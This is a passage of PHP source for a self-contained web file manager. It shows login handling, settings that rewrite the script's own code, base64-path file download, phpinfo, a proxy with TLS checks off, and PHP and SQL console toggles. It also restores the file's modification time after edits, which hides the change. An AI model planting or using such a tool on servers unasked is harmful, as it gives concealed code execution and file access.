	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
